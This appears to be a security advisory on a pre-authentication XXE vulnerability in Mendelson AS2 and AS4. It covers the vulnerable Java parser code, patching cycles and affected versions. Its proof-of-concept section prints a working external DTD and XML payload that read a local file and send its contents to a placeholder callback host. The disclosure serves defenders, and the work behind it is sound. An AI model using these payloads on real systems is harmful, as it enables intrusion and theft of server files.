Remote, Pre-Authentication XML External Entity (XXE) Injection in Mendelson AS2 and Mendelson AS4

Technical Root Cause Analysis

Accessing the “Message Details” of any of the logged transactions (e.g., incoming messages) caused Mendelson AS2 and Mendelson AS4 to automatically parse the XML contents within the transaction message. This parsing attempted to generate a document object model (DOM) for easier visualization in the user interface. The message contents and generated DOM were visible in the “Transferred Payload” tab of the “Message Details” window in the desktop application of Mendelson AS2 and Mendelson AS4.

“Message Details” was most likely developed to aid in analyzing incoming messages and help with debugging of AS2 and AS4 transactions. Incoming transactions of which the message could not be decrypted or verified against the list of trusted partners did not have its contents shown in the “Transferred Payload” tab within “Message Details”. However, XML parsing was still performed, meaning that incoming messages were parsed even though their content was not displayed in “Message Details”.

XML content was parsed by the XMLEditorKitXMLReader Java class. In the read() method, an instance of DocumentBuilderFactory was created without restricting XML External Entities (XXE) and Document Type Definitions (DTD). The vulnerable code was located in lines 58-61, shown on the following snippet:

// FILE: de/mendelson/util/xmleditorkit/XMLEditorKitXMLReader.java
[...]
44:     public void read(InputStream inputStream, Document document, int pos) throws IOException, BadLocationException {
45:         if (!(document instanceof XMLStyledDocument)) {
46:             return;
47:         }
48:         XMLStyledDocument xmlDocument = (XMLStyledDocument) document;
49:         xmlDocument.setUserChanges(false);
50:         DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
51:         builderFactory.setCoalescing(true);
52:         builderFactory.setValidating(false);
53:         builderFactory.setIgnoringComments(false);
54:         builderFactory.setIgnoringElementContentWhitespace(false);
55: 
56:         try {
57:             //Using factory get an instance of document builder
58:             javax.xml.parsers.DocumentBuilder documentBuilderXML = builderFactory.newDocumentBuilder();
59:             //parse using builder to get DOM representation of the XML file
60:             documentBuilderXML.setErrorHandler(null);
61:             org.w3c.dom.Document dom = documentBuilderXML.parse(inputStream);
62:             List<DefaultStyledDocument.ElementSpec> specsList = new ArrayList<DefaultStyledDocument.ElementSpec>();
63:             DefaultStyledDocument.ElementSpec elementSpec
64:                     = new DefaultStyledDocument.ElementSpec(new SimpleAttributeSet(), DefaultStyledDocument.ElementSpec.EndTagType);
65:             specsList.add(elementSpec);
66:             //debugPrintNode(dom, "");
67:             if (xmlDocument.getLength() == 0) {
68:                 writeNode(xmlDocument, dom, pos, specsList);
69:             } else {
70:                 writeNode(xmlDocument, dom.getDocumentElement(), pos, specsList);
71:             }
72:             DefaultStyledDocument.ElementSpec[] data = new DefaultStyledDocument.ElementSpec[specsList.size()];
73:             specsList.toArray(data);
74:             xmlDocument.insert(pos, data);
75:             xmlDocument.setUserChanges(true);
76:         } catch (Throwable pce) {
77:             throw new IOException(pce.getMessage());
78:         }
79:     }
[...]

Proof of Concept (PoC) Data Exfiltration Using External DTD

Reversec created a GitHub Gist file hosting the following XML Document Type Definition (DTD):

<!ENTITY % file SYSTEM "file:///C:\Users\user1\Desktop\secrets.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://burp_callback_url/ws_exfil?data=%file;'>">
%eval;
%exfil;
<ws>Nothing to see here!</ws>

The data targeted for exfiltration was located on the user’s desktop at C:\Users\user1\Desktop\secrets.txt:

Next, a message with the following XML file was sent to the Mendelson AS2 and Mendelson AS4 server:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://gist.githubusercontent.com/[...]/test.dtd"> %xxe;]>
<test>Reversec Research</test>

In the Mendelson AS2 and Mendelson AS4 desktop application, opening “Message Details” caused the following events:

• loading of the external DTD from GitHub Gist
• extraction of the file contents from “C:\Users\user1\Desktop\secrets.txt”
• external HTTP call to Reversec’s Burp Collaborator service

The exfiltrated data was visible within Burp Collaborator, as shown below:

Notes on Security Patching and Release Cycles

Community releases of Mendelson AS2 and Mendelson AS4 are published and distributed through SourceForge³. Source code is also published, however, it is available only for the latest version. This limitation significantly reduced visibility and did not allow Reversec to effectively identify when the vulnerability was introduced.

Speaking with the vendor, Reversec learned that Mendelson AS2 and Mendelson AS4 Community share their core codebases with the Commercial versions. Community versions, however, are released once a year, they are provided only for evaluation purposes and should not be used in production. In addition, the vendor confirmed that only the Commercial releases of Mendelson AS2 and Mendelson AS4 receive regular support, including software updates and security patches.

While the vendor provided these details through email correspondence, this information was not apparent in any official documentation or usage policy on the vendor’s website. Users of Mendelson AS2 and Mendelson AS4 Community do not receive regular security updates, effectively only receiving patched and improved versions of the solution once a year.

Notes on Affected Versions

Even though the vulnerability was found in the Community versions of Mendelson AS2 and Mendelson AS4, the vendor confirmed that the vulnerability also existed^{4 5} in the Commercial releases once they received the security advisory from Reversec. Without a commercial license and due to the once-a-year Community release cycle, it was not possible to verify whether the produced fixes mitigated the vulnerability.

References